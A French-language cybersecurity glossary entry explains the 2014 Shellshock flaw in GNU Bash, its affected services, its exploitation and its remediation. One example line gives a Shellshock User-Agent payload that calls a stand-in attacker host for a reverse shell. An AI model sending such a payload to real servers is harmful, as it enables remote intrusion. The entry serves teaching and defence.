CyberGlossary

Vulnérabilités

Shellshock (CVE-2014-6271)

Aussi appelé: Bashdoor, CVE-2014-6271

Définition

Vulnérabilité de 2014 dans GNU Bash permettant d'exécuter des commandes arbitraires via des variables d'environnement spécialement conçues transmises à Bash par d'autres programmes.

Shellshock (CVE-2014-6271 et la connexe CVE-2014-7169) provient de la façon dont GNU Bash interprétait les définitions de fonctions stockées dans des variables d'environnement : les commandes situées après le corps de la fonction étaient exécutées au démarrage du shell. Comme de nombreux services — CGI, clients DHCP, OpenSSH ForceCommand, qmail — invoquaient Bash avec des variables contrôlables par l'attaquant, l'exploitation à distance était triviale, souvent en root. La divulgation de 2014 a déclenché une vague mondiale de patches et une exploitation massive (botnets, webshells, vers). La remédiation consiste à mettre à jour Bash, à remplacer les architectures Bash-CGI historiques et à appliquer une défense en profondeur (réduction des privilèges, restriction des variables d'environnement transmises).

Exemples

  • Envoyer un User-Agent () { :; }; /bin/curl attacker.com à un endpoint Bash-CGI pour obtenir un reverse shell.
  • Exploiter un client DHCP exportant des chaînes d'option dans l'environnement d'un script hook Bash.

Termes liés